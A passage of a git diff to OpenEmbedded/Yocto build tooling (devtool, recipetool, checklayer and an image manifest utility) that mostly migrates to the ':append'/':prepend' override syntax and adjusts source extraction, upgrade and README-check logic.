+ rvalues[pn]['packageconfig_opts'][key] = rd.getVarFlag('PACKAGECONFIG', key, True)
+
+ if config['patches'] == 'yes':
+ patches = oe.recipeutils.get_recipe_patches(rd)
+ rvalues[pn]['patches'] = []
+ if patches:
+ recipeoutdir = os.path.join(tmpoutdir, pn, 'patches')
+ bb.utils.mkdirhier(recipeoutdir)
+ for patch in patches:
+ # Patches may be in other layers too
+ patchlayerdir = oe.recipeutils.find_layerdir(patch)
+ # patchlayerdir will be None for remote patches, which we ignore
+ # (since currently they are considered as part of sources)
+ if patchlayerdir:
+ rvalues[pn]['patches'].append((os.path.basename(patchlayerdir), os.path.relpath(patch, patchlayerdir)))
+ shutil.copy(patch, recipeoutdir)
+
+ if config['packagedir'] == 'yes':
+ pn_dir = os.path.join(tmpoutdir, pn)
+ bb.utils.mkdirhier(pn_dir)
+ f = open(os.path.join(pn_dir, 'recipe.json'), 'w')
+ json.dump(rvalues[pn], f, indent=2)
+ f.close()
+
+ with open(os.path.join(tmpoutdir, 'recipes.json'), 'w') as f:
+ json.dump(rvalues, f, indent=2)
+
+ if args.output:
+ outname = os.path.basename(args.output)
+ else:
+ outname = os.path.splitext(os.path.basename(args.manifest))[0]
+ if outname.endswith('.tar.gz'):
+ outname = outname[:-7]
+ elif outname.endswith('.tgz'):
+ outname = outname[:-4]
+
+ tarfn = outname
+ if tarfn.endswith(os.sep):
+ tarfn = tarfn[:-1]
+ if not tarfn.endswith(('.tar.gz', '.tgz')):
+ tarfn += '.tar.gz'
+ with open(tarfn, 'wb') as f:
+ with tarfile.open(None, "w:gz", f) as tar:
+ tar.add(tmpoutdir, outname)
+ finally:
+ shutil.rmtree(tmpoutdir)
+
+
+def main():
+ parser = argparse_oe.ArgumentParser(description="Image manifest utility",
+ epilog="Use %(prog)s <subcommand> --help to get help on a specific command")
+ parser.add_argument('-d', '--debug', help='Enable debug output', action='store_true')
+ parser.add_argument('-q', '--quiet', help='Print only errors', action='store_true')
+ subparsers = parser.add_subparsers(dest="subparser_name", title='subcommands', metavar='<subcommand>')
+ subparsers.required = True
+
+ # get recipe info
+ parser_get_recipes = subparsers.add_parser('recipe-info',
+ help='Get recipe info',
+ description='Get recipe information for a package')
+ parser_get_recipes.add_argument('package', help='Package name')
+ parser_get_recipes.set_defaults(func=get_recipe)
+
+ # list runtime dependencies
+ parser_pkg_dep = subparsers.add_parser('list-depends',
+ help='List dependencies',
+ description='List dependencies required to build the package')
+ parser_pkg_dep.add_argument('--native', help='also print native and cross packages', action='store_true')
+ parser_pkg_dep.add_argument('package', help='Package name')
+ parser_pkg_dep.set_defaults(func=pkg_dependencies)
+
+ # list recipes
+ parser_recipes = subparsers.add_parser('list-recipes',
+ help='List recipes producing packages within an image',
+ description='Lists recipes producing the packages that went into an image, using the manifest and pkgdata')
+ parser_recipes.add_argument('manifest', help='Manifest file')
+ parser_recipes.set_defaults(func=list_recipes)
+
+ # list packages
+ parser_packages = subparsers.add_parser('list-packages',
+ help='List packages within an image',
+ description='Lists packages that went into an image, using the manifest')
+ parser_packages.add_argument('manifest', help='Manifest file')
+ parser_packages.set_defaults(func=list_packages)
+
+ # list layers
+ parser_layers = subparsers.add_parser('list-layers',
+ help='List included layers',
+ description='Lists included layers')
+ parser_layers.add_argument('-o', '--output', help='Output file - defaults to stdout if not specified',
+ default=sys.stdout, type=argparse.FileType('w'))
+ parser_layers.set_defaults(func=list_layers)
+
+ # dump default configuration file
+ parser_dconfig = subparsers.add_parser('dump-config',
+ help='Dump default config',
+ description='Dump default config to default_config.json')
+ parser_dconfig.set_defaults(func=dump_config)
+
+ # export recipe info for packages in manifest
+ parser_export = subparsers.add_parser('manifest-info',
+ help='Export recipe info for a manifest',
+ description='Export recipe information using the manifest')
+ parser_export.add_argument('-c', '--config', help='load config from json file')
+ parser_export.add_argument('-o', '--output', help='Output file (tarball) - defaults to manifest name if not specified')
+ parser_export.add_argument('manifest', help='Manifest file')
+ parser_export.set_defaults(func=export_manifest_info)
+
+ args = parser.parse_args()
+
+ if args.debug:
+ logger.setLevel(logging.DEBUG)
+ logger.debug("Debug Enabled")
+ elif args.quiet:
+ logger.setLevel(logging.ERROR)
+
+ ret = args.func(args)
+
+ return ret
+
+
+if __name__ == "__main__":
+ try:
+ ret = main()
+ except Exception:
+ ret = 1
+ import traceback
+ traceback.print_exc()
+ sys.exit(ret)
diff --git a/scripts/contrib/list-packageconfig-flags.py b/scripts/contrib/list-packageconfig-flags.py
index d6de4dc84d..bb288e9099 100755
--- a/scripts/contrib/list-packageconfig-flags.py
+++ b/scripts/contrib/list-packageconfig-flags.py
@@ -33,7 +33,7 @@ import bb.tinfoil
def get_fnlist(bbhandler, pkg_pn, preferred):
''' Get all recipe file names '''
if preferred:
- (latest_versions, preferred_versions) = bb.providers.findProviders(bbhandler.config_data, bbhandler.cooker.recipecaches[''], pkg_pn)
+ (latest_versions, preferred_versions, required_versions) = bb.providers.findProviders(bbhandler.config_data, bbhandler.cooker.recipecaches[''], pkg_pn)
fn_list = []
for pn in sorted(pkg_pn):
diff --git a/scripts/cross-intercept/ar b/scripts/cross-intercept/ar
new file mode 120000
index 0000000000..bc68ffd7a2
--- /dev/null
+++ b/scripts/cross-intercept/ar
@@ -0,0 +1 @@
+../native-intercept/ar \ No newline at end of file
diff --git a/scripts/crosstap b/scripts/crosstap
index 40856bc208..73c8947442 100755
--- a/scripts/crosstap
+++ b/scripts/crosstap
@@ -365,13 +365,13 @@ IMAGE_FSTYPES_DEBUGFS = "tar.bz2"
USER_CLASSES += "image-combined-dbg"
# enables kernel debug symbols
-KERNEL_EXTRA_FEATURES_append = " features/debug/debug-kernel.scc"
+KERNEL_EXTRA_FEATURES:append = " features/debug/debug-kernel.scc"
# minimal, just run-time systemtap configuration in target image
-PACKAGECONFIG_pn-systemtap = "monitor"
+PACKAGECONFIG:pn-systemtap = "monitor"
# add systemtap run-time into target image if it is not there yet
-IMAGE_INSTALL_append = " systemtap"
+IMAGE_INSTALL:append = " systemtap"
"""
option_parser = optparse.OptionParser(usage=usage)
diff --git a/scripts/devtool b/scripts/devtool
index 8a4f41bc37..af4811b922 100755
--- a/scripts/devtool
+++ b/scripts/devtool
@@ -100,7 +100,7 @@ def read_workspace():
_enable_workspace_layer(config.workspace_path, config, basepath)
logger.debug('Reading workspace in %s' % config.workspace_path)
- externalsrc_re = re.compile(r'^EXTERNALSRC(_pn-([^ =]+))? *= *"([^"]*)"$')
+ externalsrc_re = re.compile(r'^EXTERNALSRC(:pn-([^ =]+))? *= *"([^"]*)"$')
for fn in glob.glob(os.path.join(config.workspace_path, 'appends', '*.bbappend')):
with open(fn, 'r') as f:
pnvalues = {}
diff --git a/scripts/gen-lockedsig-cache b/scripts/gen-lockedsig-cache
index cd8f9a4356..cc674f9c1b 100755
--- a/scripts/gen-lockedsig-cache
+++ b/scripts/gen-lockedsig-cache
@@ -94,8 +94,7 @@ print("Gathering file list took %.1fs" % elapsed)
print('Processing files')
for f in files:
sys.stdout.write('Processing %s... ' % f)
- _, ext = os.path.splitext(f)
- if not ext in ['.tgz', '.siginfo', '.sig']:
+ if not f.endswith(('.tar.zst', '.siginfo', '.sig')):
# Most likely a temp file, skip it
print('skipping')
continue
diff --git a/scripts/lib/build_perf/report.py b/scripts/lib/build_perf/report.py
index 4e8e2a8a93..ab77424cc7 100644
--- a/scripts/lib/build_perf/report.py
+++ b/scripts/lib/build_perf/report.py
@@ -4,7 +4,8 @@
# SPDX-License-Identifier: GPL-2.0-only
#
"""Handling of build perf test reports"""
-from collections import OrderedDict, Mapping, namedtuple
+from collections import OrderedDict, namedtuple
+from collections.abc import Mapping
from datetime import datetime, timezone
from numbers import Number
from statistics import mean, stdev, variance
diff --git a/scripts/lib/checklayer/__init__.py b/scripts/lib/checklayer/__init__.py
index fe545607bb..e69a10f452 100644
--- a/scripts/lib/checklayer/__init__.py
+++ b/scripts/lib/checklayer/__init__.py
@@ -146,7 +146,7 @@ def detect_layers(layer_directories, no_auto):
return layers
-def _find_layer_depends(depend, layers):
+def _find_layer(depend, layers):
for layer in layers:
if 'collections' not in layer:
continue
@@ -156,7 +156,7 @@ def _find_layer_depends(depend, layers):
return layer
return None
-def add_layer_dependencies(bblayersconf, layer, layers, logger):
+def get_layer_dependencies(layer, layers, logger):
def recurse_dependencies(depends, layer, layers, logger, ret = []):
logger.debug('Processing dependencies %s for layer %s.' % \
(depends, layer['name']))
@@ -166,7 +166,7 @@ def add_layer_dependencies(bblayersconf, layer, layers, logger):
if depend == 'core':
continue
- layer_depend = _find_layer_depends(depend, layers)
+ layer_depend = _find_layer(depend, layers)
if not layer_depend:
logger.error('Layer %s depends on %s and isn\'t found.' % \
(layer['name'], depend))
@@ -203,6 +203,11 @@ def add_layer_dependencies(bblayersconf, layer, layers, logger):
layer_depends = recurse_dependencies(depends, layer, layers, logger, layer_depends)
# Note: [] (empty) is allowed, None is not!
+ return layer_depends
+
+def add_layer_dependencies(bblayersconf, layer, layers, logger):
+
+ layer_depends = get_layer_dependencies(layer, layers, logger)
if layer_depends is None:
return False
else:
diff --git a/scripts/lib/checklayer/cases/common.py b/scripts/lib/checklayer/cases/common.py
index b82304e361..9f15e05be9 100644
--- a/scripts/lib/checklayer/cases/common.py
+++ b/scripts/lib/checklayer/cases/common.py
@@ -6,6 +6,7 @@
import glob
import os
import unittest
+import re
from checklayer import get_signatures, LayerType, check_command, get_depgraph, compare_signatures
from checklayer.case import OECheckLayerTestCase
@@ -14,7 +15,7 @@ class CommonCheckLayer(OECheckLayerTestCase):
# The top-level README file may have a suffix (like README.rst or README.txt).
readme_files = glob.glob(os.path.join(self.tc.layer['path'], '[Rr][Ee][Aa][Dd][Mm][Ee]*'))
self.assertTrue(len(readme_files) > 0,
- msg="Layer doesn't contains README file.")
+ msg="Layer doesn't contain a README file.")
# There might be more than one file matching the file pattern above
# (for example, README.rst and README-COPYING.rst). The one with the shortest
@@ -26,6 +27,16 @@ class CommonCheckLayer(OECheckLayerTestCase):
self.assertTrue(data,
msg="Layer contains a README file but it is empty.")
+ # If a layer's README references another README, then the checks below are not valid
+ if re.search('README', data, re.IGNORECASE):
+ return
+
+ self.assertIn('maintainer', data.lower())
+ self.assertIn('patch', data.lower())
+ # Check that there is an email address in the README
+ email_regex = re.compile(r"[^@]+@[^@]+")
+ self.assertTrue(email_regex.match(data))
+
def test_parse(self):
check_command('Layer %s failed to parse.' % self.tc.layer['name'],
'bitbake -p')
diff --git a/scripts/lib/devtool/build_image.py b/scripts/lib/devtool/build_image.py
index 9388abbacf..980f90ddd6 100644
--- a/scripts/lib/devtool/build_image.py
+++ b/scripts/lib/devtool/build_image.py
@@ -113,7 +113,7 @@ def build_image_task(config, basepath, workspace, image, add_packages=None, task
with open(appendfile, 'w') as afile:
if packages:
# include packages from workspace recipes into the image
- afile.write('IMAGE_INSTALL_append = " %s"\n' % ' '.join(packages))
+ afile.write('IMAGE_INSTALL:append = " %s"\n' % ' '.join(packages))
if not task:
logger.info('Building image %s with the following '
'additional packages: %s', image, ' '.join(packages))
diff --git a/scripts/lib/devtool/deploy.py b/scripts/lib/devtool/deploy.py
index e5af2c95ae..833322571f 100644
--- a/scripts/lib/devtool/deploy.py
+++ b/scripts/lib/devtool/deploy.py
@@ -168,7 +168,7 @@ def deploy(args, config, basepath, workspace):
if args.strip and not args.dry_run:
# Fakeroot copy to new destination
srcdir = recipe_outdir
- recipe_outdir = os.path.join(rd.getVar('WORKDIR'), 'deploy-target-stripped')
+ recipe_outdir = os.path.join(rd.getVar('WORKDIR'), 'devtool-deploy-target-stripped')
if os.path.isdir(recipe_outdir):
bb.utils.remove(recipe_outdir, True)
exec_fakeroot(rd, "cp -af %s %s" % (os.path.join(srcdir, '.'), recipe_outdir), shell=True)
diff --git a/scripts/lib/devtool/sdk.py b/scripts/lib/devtool/sdk.py
index 3aa42a1466..ae3fc4caf9 100644
--- a/scripts/lib/devtool/sdk.py
+++ b/scripts/lib/devtool/sdk.py
@@ -207,7 +207,7 @@ def sdk_update(args, config, basepath, workspace):
if not sstate_mirrors:
with open(os.path.join(conf_dir, 'site.conf'), 'a') as f:
f.write('SCONF_VERSION = "%s"\n' % site_conf_version)
- f.write('SSTATE_MIRRORS_append = " file://.* %s/sstate-cache/PATH \\n "\n' % updateserver)
+ f.write('SSTATE_MIRRORS:append = " file://.* %s/sstate-cache/PATH \\n "\n' % updateserver)
finally:
shutil.rmtree(tmpsdk_dir)
diff --git a/scripts/lib/devtool/search.py b/scripts/lib/devtool/search.py
index d24040df37..70b81cac5e 100644
--- a/scripts/lib/devtool/search.py
+++ b/scripts/lib/devtool/search.py
@@ -62,10 +62,11 @@ def search(args, config, basepath, workspace):
with open(os.path.join(pkgdata_dir, 'runtime', pkg), 'r') as f:
for line in f:
if ': ' in line:
- splitline = line.split(':', 1)
+ splitline = line.split(': ', 1)
key = splitline[0]
value = splitline[1].strip()
- if key in ['PKG_%s' % pkg, 'DESCRIPTION', 'FILES_INFO'] or key.startswith('FILERPROVIDES_'):
+ key = key.replace(":" + pkg, "")
+ if key in ['PKG', 'DESCRIPTION', 'FILES_INFO', 'FILERPROVIDES']:
if keyword_rc.search(value):
match = True
break
diff --git a/scripts/lib/devtool/standard.py b/scripts/lib/devtool/standard.py
index 261d642d4a..01fb5ad96f 100644
--- a/scripts/lib/devtool/standard.py
+++ b/scripts/lib/devtool/standard.py
@@ -254,13 +254,13 @@ def add(args, config, basepath, workspace):
f.write('\n# initial_rev: %s\n' % initial_rev)
if args.binary:
- f.write('do_install_append() {\n')
+ f.write('do_install:append() {\n')
f.write(' rm -rf ${D}/.git\n')
f.write(' rm -f ${D}/singletask.lock\n')
f.write('}\n')
if bb.data.inherits_class('npm', rd):
- f.write('python do_configure_append() {\n')
+ f.write('python do_configure:append() {\n')
f.write(' pkgdir = d.getVar("NPM_PACKAGE")\n')
f.write(' lockfile = os.path.join(pkgdir, "singletask.lock")\n')
f.write(' bb.utils.remove(lockfile)\n')
@@ -318,10 +318,6 @@ def _check_compatible_recipe(pn, d):
raise DevtoolError("The %s recipe is a packagegroup, and therefore is "
"not supported by this tool" % pn, 4)
- if bb.data.inherits_class('meta', d):
- raise DevtoolError("The %s recipe is a meta-recipe, and therefore is "
- "not supported by this tool" % pn, 4)
-
if bb.data.inherits_class('externalsrc', d) and d.getVar('EXTERNALSRC'):
# Not an incompatibility error per se, so we don't pass the error code
raise DevtoolError("externalsrc is currently enabled for the %s "
@@ -474,7 +470,11 @@ def symlink_oelocal_files_srctree(rd,srctree):
destpth = os.path.join(srctree, relpth, fn)
if os.path.exists(destpth):
os.unlink(destpth)
- os.symlink('oe-local-files/%s' % fn, destpth)
+ if relpth != '.':
+ back_relpth = os.path.relpath(local_files_dir, root)
+ os.symlink('%s/oe-local-files/%s/%s' % (back_relpth, relpth, fn), destpth)
+ else:
+ os.symlink('oe-local-files/%s' % fn, destpth)
addfiles.append(os.path.join(relpth, fn))
if addfiles:
bb.process.run('git add %s' % ' '.join(addfiles), cwd=srctree)
@@ -519,7 +519,7 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
history = d.varhistory.variable('SRC_URI')
for event in history:
if not 'flag' in event:
- if event['op'].startswith(('_append[', '_prepend[')):
+ if event['op'].startswith((':append[', ':prepend[')):
extra_overrides.append(event['op'].split('[')[1].split(']')[0])
# We want to remove duplicate overrides. If a recipe had multiple
# SRC_URI_override += values it would cause mulitple instances of
@@ -589,6 +589,16 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
else:
task = 'do_patch'
+ if 'noexec' in (d.getVarFlags(task, False) or []) or 'task' not in (d.getVarFlags(task, False) or []):
+ logger.info('The %s recipe has %s disabled. Running only '
+ 'do_configure task dependencies' % (pn, task))
+
+ if 'depends' in d.getVarFlags('do_configure', False):
+ pn = d.getVarFlags('do_configure', False)['depends']
+ pn = pn.replace('${PV}', d.getVar('PV'))
+ pn = pn.replace('${COMPILERDEP}', d.getVar('COMPILERDEP'))
+ task = None
+
# Run the fetch + unpack tasks
res = tinfoil.build_targets(pn,
task,
@@ -600,6 +610,17 @@ def _extract_source(srctree, keep_temp, devbranch, sync, config, basepath, works
if not res:
raise DevtoolError('Extracting source for %s failed' % pn)
+ if not is_kernel_yocto and ('noexec' in (d.getVarFlags('do_patch', False) or []) or 'task' not in (d.getVarFlags('do_patch', False) or [])):
+ workshareddir = d.getVar('S')
+ if os.path.islink(srctree):
+ os.unlink(srctree)
+
+ os.symlink(workshareddir, srctree)
+
+ # The initial_rev file is created in devtool_post_unpack function that will not be executed if
+ # do_unpack/do_patch tasks are disabled so we have to directly say that source extraction was successful
+ return True, True
+
try:
with open(os.path.join(tempdir, 'initial_rev'), 'r') as f:
initial_rev = f.read()
@@ -721,7 +742,7 @@ def _check_preserve(config, recipename):
os.remove(removefile)
else:
tf.write(line)
- os.rename(newfile, origfile)
+ bb.utils.rename(newfile, origfile)
def get_staging_kver(srcdir):
# Kernel version from work-shared
@@ -847,10 +868,11 @@ def modify(args, config, basepath, workspace):
if not initial_rev:
return 1
logger.info('Source tree extracted to %s' % srctree)
- # Get list of commits since this revision
- (stdout, _) = bb.process.run('git rev-list --reverse %s..HEAD' % initial_rev, cwd=srctree)
- commits = stdout.split()
- check_commits = True
+ if os.path.exists(os.path.join(srctree, '.git')):
+ # Get list of commits since this revision
+ (stdout, _) = bb.process.run('git rev-list --reverse %s..HEAD' % initial_rev, cwd=srctree)
+ commits = stdout.split()
+ check_commits = True
else:
if os.path.exists(os.path.join(srctree, '.git')):
# Check if it's a tree previously extracted by us. This is done
@@ -910,31 +932,36 @@ def modify(args, config, basepath, workspace):
bb.utils.mkdirhier(os.path.dirname(appendfile))
with open(appendfile, 'w') as f:
- f.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n')
+ f.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n')
# Local files can be modified/tracked in separate subdir under srctree
# Mostly useful for packages with S != WORKDIR
- f.write('FILESPATH_prepend := "%s:"\n' %
+ f.write('FILESPATH:prepend := "%s:"\n' %
os.path.join(srctreebase, 'oe-local-files'))
f.write('# srctreebase: %s\n' % srctreebase)
f.write('\ninherit externalsrc\n')
f.write('# NOTE: We use pn- overrides here to avoid affecting multiple variants in the case where the recipe uses BBCLASSEXTEND\n')
- f.write('EXTERNALSRC_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC:pn-%s = "%s"\n' % (pn, srctree))
b_is_s = use_external_build(args.same_dir, args.no_same_dir, rd)
if b_is_s:
- f.write('EXTERNALSRC_BUILD_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC_BUILD:pn-%s = "%s"\n' % (pn, srctree))
if bb.data.inherits_class('kernel', rd):
f.write('SRCTREECOVEREDTASKS = "do_validate_branches do_kernel_checkout '
- 'do_fetch do_unpack do_kernel_configme do_kernel_configcheck"\n')
+ 'do_fetch do_unpack do_kernel_configcheck"\n')
f.write('\ndo_patch[noexec] = "1"\n')
- f.write('\ndo_configure_append() {\n'
+ f.write('\ndo_configure:append() {\n'
' cp ${B}/.config ${S}/.config.baseline\n'
' ln -sfT ${B}/.config ${S}/.config.new\n'
'}\n')
+ f.write('\ndo_kernel_configme:prepend() {\n'
+ ' if [ -e ${S}/.config ]; then\n'
+ ' mv ${S}/.config ${S}/.config.old\n'
+ ' fi\n'
+ '}\n')
if rd.getVarFlag('do_menuconfig','task'):
- f.write('\ndo_configure_append() {\n'
+ f.write('\ndo_configure:append() {\n'
' if [ ! ${DEVTOOL_DISABLE_MENUCONFIG} ]; then\n'
' cp ${B}/.config ${S}/.config.baseline\n'
' ln -sfT ${B}/.config ${S}/.config.new\n'
@@ -1063,10 +1090,10 @@ def rename(args, config, basepath, workspace):
# Rename bbappend
logger.info('Renaming %s to %s' % (append, newappend))
- os.rename(append, newappend)
+ bb.utils.rename(append, newappend)
# Rename recipe file
logger.info('Renaming %s to %s' % (recipefile, newfile))
- os.rename(recipefile, newfile)
+ bb.utils.rename(recipefile, newfile)
# Rename source tree if it's the default path
appendmd5 = None
@@ -1302,7 +1329,7 @@ def _export_patches(srctree, rd, start_rev, destdir, changed_revs=None):
if match_name:
# Rename patch files
if new_patch != match_name:
- os.rename(os.path.join(destdir, new_patch),
+ bb.utils.rename(os.path.join(destdir, new_patch),
os.path.join(destdir, match_name))
# Need to pop it off the list now before checking changed_revs
oldpath = existing_patches.pop(old_patch)
diff --git a/scripts/lib/devtool/upgrade.py b/scripts/lib/devtool/upgrade.py
index 0c1de8cdc7..826a3f955f 100644
--- a/scripts/lib/devtool/upgrade.py
+++ b/scripts/lib/devtool/upgrade.py
@@ -71,7 +71,8 @@ def _rename_recipe_dirs(oldpv, newpv, path):
if oldfile.find(oldpv) != -1:
newfile = oldfile.replace(oldpv, newpv)
if oldfile != newfile:
- os.rename(os.path.join(path, oldfile), os.path.join(path, newfile))
+ bb.utils.rename(os.path.join(path, oldfile),
+ os.path.join(path, newfile))
def _rename_recipe_file(oldrecipe, bpn, oldpv, newpv, path):
oldrecipe = os.path.basename(oldrecipe)
@@ -102,14 +103,14 @@ def _write_append(rc, srctree, same_dir, no_same_dir, rev, copied, workspace, d)
pn = d.getVar('PN')
af = os.path.join(appendpath, '%s.bbappend' % brf)
with open(af, 'w') as f:
- f.write('FILESEXTRAPATHS_prepend := "${THISDIR}/${PN}:"\n\n')
+ f.write('FILESEXTRAPATHS:prepend := "${THISDIR}/${PN}:"\n\n')
f.write('inherit externalsrc\n')
f.write(('# NOTE: We use pn- overrides here to avoid affecting'
'multiple variants in the case where the recipe uses BBCLASSEXTEND\n'))
- f.write('EXTERNALSRC_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC:pn-%s = "%s"\n' % (pn, srctree))
b_is_s = use_external_build(same_dir, no_same_dir, d)
if b_is_s:
- f.write('EXTERNALSRC_BUILD_pn-%s = "%s"\n' % (pn, srctree))
+ f.write('EXTERNALSRC_BUILD:pn-%s = "%s"\n' % (pn, srctree))
f.write('\n')
if rev:
f.write('# initial_rev: %s\n' % rev)
@@ -178,7 +179,7 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
uri, rev = _get_uri(crd)
if srcrev:
rev = srcrev
- if uri.startswith('git://'):
+ if uri.startswith('git://') or uri.startswith('gitsm://'):
__run('git fetch')
__run('git checkout %s' % rev)
__run('git tag -f devtool-base-new')
@@ -260,21 +261,20 @@ def _extract_new_source(newpv, srctree, no_patch, srcrev, srcbranch, branch, kee
logger.warning('By user choice, the following patches will NOT be applied to the new source tree:\n %s' % '\n '.join([os.path.basename(patch) for patch in patches]))
else:
__run('git checkout devtool-patched -b %s' % branch)
- skiptag = False
- try:
- __run('git rebase %s' % rev)
- except bb.process.ExecutionError as e:
- skiptag = True
- if 'conflict' in e.stdout:
- logger.warning('Command \'%s\' failed:\n%s\n\nYou will need to resolve conflicts in order to complete the upgrade.' % (e.command, e.stdout.rstrip()))
- else:
- logger.warning('Command \'%s\' failed:\n%s' % (e.command, e.stdout))
- if not skiptag:
- if uri.startswith('git://'):
- suffix = 'new'
- else:
- suffix = newpv
- __run('git tag -f devtool-patched-%s' % suffix)
+ (stdout, _) = __run('git branch --list devtool-override-*')
+ branches_to_rebase = [branch] + stdout.split()
+ for b in branches_to_rebase:
+ logger.info("Rebasing {} onto {}".format(b, rev))
+ __run('git checkout %s' % b)
+ try:
+ __run('git rebase %s' % rev)
+ except bb.process.ExecutionError as e:
+ if 'conflict' in e.stdout:
+ logger.warning('Command \'%s\' failed:\n%s\n\nYou will need to resolve conflicts in order to complete the upgrade.' % (e.command, e.stdout.rstrip()))
+ __run('git rebase --abort')
+ else:
+ logger.warning('Command \'%s\' failed:\n%s' % (e.command, e.stdout))
+ __run('git checkout %s' % branch)
if tmpsrctree:
if keep_temp:
@@ -521,6 +521,15 @@ def upgrade(args, config, basepath, workspace):
else:
srctree = standard.get_default_srctree(config, pn)
+ # Check that recipe isn't using a shared workdir
+ s = os.path.abspath(rd.getVar('S'))
+ workdir = os.path.abspath(rd.getVar('WORKDIR'))
+ srctree_s = srctree
+ if s.startswith(workdir) and s != workdir and os.path.dirname(s) != workdir:
+ # Handle if S is set to a subdirectory of the source
+ srcsubdir = os.path.relpath(s, workdir).split(os.sep, 1)[1]
+ srctree_s = os.path.join(srctree, srcsubdir)
+
# try to automatically discover latest version and revision if not provided on command line
if not args.version and not args.srcrev:
version_info = oe.recipeutils.get_recipe_upstream_version(rd)
@@ -550,12 +559,12 @@ def upgrade(args, config, basepath, workspace):
try:
logger.info('Extracting current version source...')
rev1, srcsubdir1 = standard._extract_source(srctree, False, 'devtool-orig', False, config, basepath, workspace, args.fixed_setup, rd, tinfoil, no_overrides=args.no_overrides)
- old_licenses = _extract_licenses(srctree, (rd.getVar('LIC_FILES_CHKSUM') or ""))
+ old_licenses = _extract_licenses(srctree_s, (rd.getVar('LIC_FILES_CHKSUM') or ""))
logger.info('Extracting upgraded version source...')
rev2, md5, sha256, srcbranch, srcsubdir2 = _extract_new_source(args.version, srctree, args.no_patch,
args.srcrev, args.srcbranch, args.branch, args.keep_temp,
tinfoil, rd)
- new_licenses = _extract_licenses(srctree, (rd.getVar('LIC_FILES_CHKSUM') or ""))
+ new_licenses = _extract_licenses(srctree_s, (rd.getVar('LIC_FILES_CHKSUM') or ""))
license_diff = _generate_license_diff(old_licenses, new_licenses)
rf, copied = _create_new_recipe(args.version, md5, sha256, args.srcrev, srcbranch, srcsubdir1, srcsubdir2, config.workspace_path, tinfoil, rd, license_diff, new_licenses, srctree, args.keep_failure)
except bb.process.CmdError as e:
@@ -564,7 +573,7 @@ def upgrade(args, config, basepath, workspace):
_upgrade_error(e, rf, srctree, args.keep_failure)
standard._add_md5(config, pn, os.path.dirname(rf))
- af = _write_append(rf, srctree, args.same_dir, args.no_same_dir, rev2,
+ af = _write_append(rf, srctree_s, args.same_dir, args.no_same_dir, rev2,
copied, config.workspace_path, rd)
standard._add_md5(config, pn, af)
@@ -574,6 +583,9 @@ def upgrade(args, config, basepath, workspace):
logger.info('New recipe is %s' % rf)
if license_diff:
logger.info('License checksums have been updated in the new recipe; please refer to it for the difference between the old and the new license texts.')
+ preferred_version = rd.getVar('PREFERRED_VERSION_%s' % rd.getVar('PN'))
+ if preferred_version:
+ logger.warning('Version is pinned to %s via PREFERRED_VERSION; it may need adjustment to match the new version before any further steps are taken' % preferred_version)
finally:
tinfoil.shutdown()
return 0
diff --git a/scripts/lib/recipetool/append.py b/scripts/lib/recipetool/append.py
index e9d52bb67b..88ed8c5f01 100644
--- a/scripts/lib/recipetool/append.py
+++ b/scripts/lib/recipetool/append.py
@@ -49,7 +49,7 @@ def find_target_file(targetpath, d, pkglist=None):
'/etc/group': '/etc/group should be managed through the useradd and extrausers classes',
'/etc/shadow': '/etc/shadow should be managed through the useradd and extrausers classes',
'/etc/gshadow': '/etc/gshadow should be managed through the useradd and extrausers classes',
- '${sysconfdir}/hostname': '${sysconfdir}/hostname contents should be set by setting hostname_pn-base-files = "value" in configuration',}
+ '${sysconfdir}/hostname': '${sysconfdir}/hostname contents should be set by setting hostname:pn-base-files = "value" in configuration',}
for pthspec, message in invalidtargets.items():
if fnmatch.fnmatchcase(targetpath, d.expand(pthspec)):
@@ -72,15 +72,15 @@ def find_target_file(targetpath, d, pkglist=None):
# This does assume that PN comes before other values, but that's a fairly safe assumption
for line in f:
if line.startswith('PN:'):
- pn = line.split(':', 1)[1].strip()
- elif line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ pn = line.split(': ', 1)[1].strip()
+ elif line.startswith('FILES_INFO'):
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in dictval.keys():
if fnmatch.fnmatchcase(fullpth, targetpath):
recipes[targetpath].append(pn)
- elif line.startswith('pkg_preinst_') or line.startswith('pkg_postinst_'):
- scriptval = line.split(':', 1)[1].strip().encode('utf-8').decode('unicode_escape')
+ elif line.startswith('pkg_preinst:') or line.startswith('pkg_postinst:'):
+ scriptval = line.split(': ', 1)[1].strip().encode('utf-8').decode('unicode_escape')
if 'update-alternatives --install %s ' % targetpath in scriptval:
recipes[targetpath].append('?%s' % pn)
elif targetpath_re.search(scriptval):
diff --git a/scripts/lib/recipetool/create.py b/scripts/lib/recipetool/create.py
index 566c75369a..507a230511 100644
--- a/scripts/lib/recipetool/create.py
+++ b/scripts/lib/recipetool/create.py
@@ -115,8 +115,8 @@ class RecipeHandler(object):
for line in f:
if line.startswith('PN:'):
pn = line.split(':', 1)[-1].strip()
- elif line.startswith('FILES_INFO:'):
- val = line.split(':', 1)[1].strip()
+ elif line.startswith('FILES_INFO:%s:' % pkg):
+ val = line.split(': ', 1)[1].strip()
dictval = json.loads(val)
for fullpth in sorted(dictval):
if fullpth.startswith(includedir) and fullpth.endswith('.h'):
@@ -366,7 +366,7 @@ def supports_srcrev(uri):
def reformat_git_uri(uri):
'''Convert any http[s]://....git URI into git://...;protocol=http[s]'''
checkuri = uri.split(';', 1)[0]
- if checkuri.endswith('.git') or '/git/' in checkuri or re.match('https?://github.com/[^/]+/[^/]+/?$', checkuri):
+ if checkuri.endswith('.git') or '/git/' in checkuri or re.match('https?://git(hub|lab).com/[^/]+/[^/]+/?$', checkuri):
# Appends scheme if the scheme is missing
if not '://' in uri:
uri = 'git://' + uri
@@ -478,6 +478,9 @@ def create_recipe(args):
storeTagName = params['tag']
params['nobranch'] = '1'
del params['tag']
+ # Assume 'master' branch if not set
+ if scheme in ['git', 'gitsm'] and 'branch' not in params and 'nobranch' not in params:
+ params['branch'] = 'master'
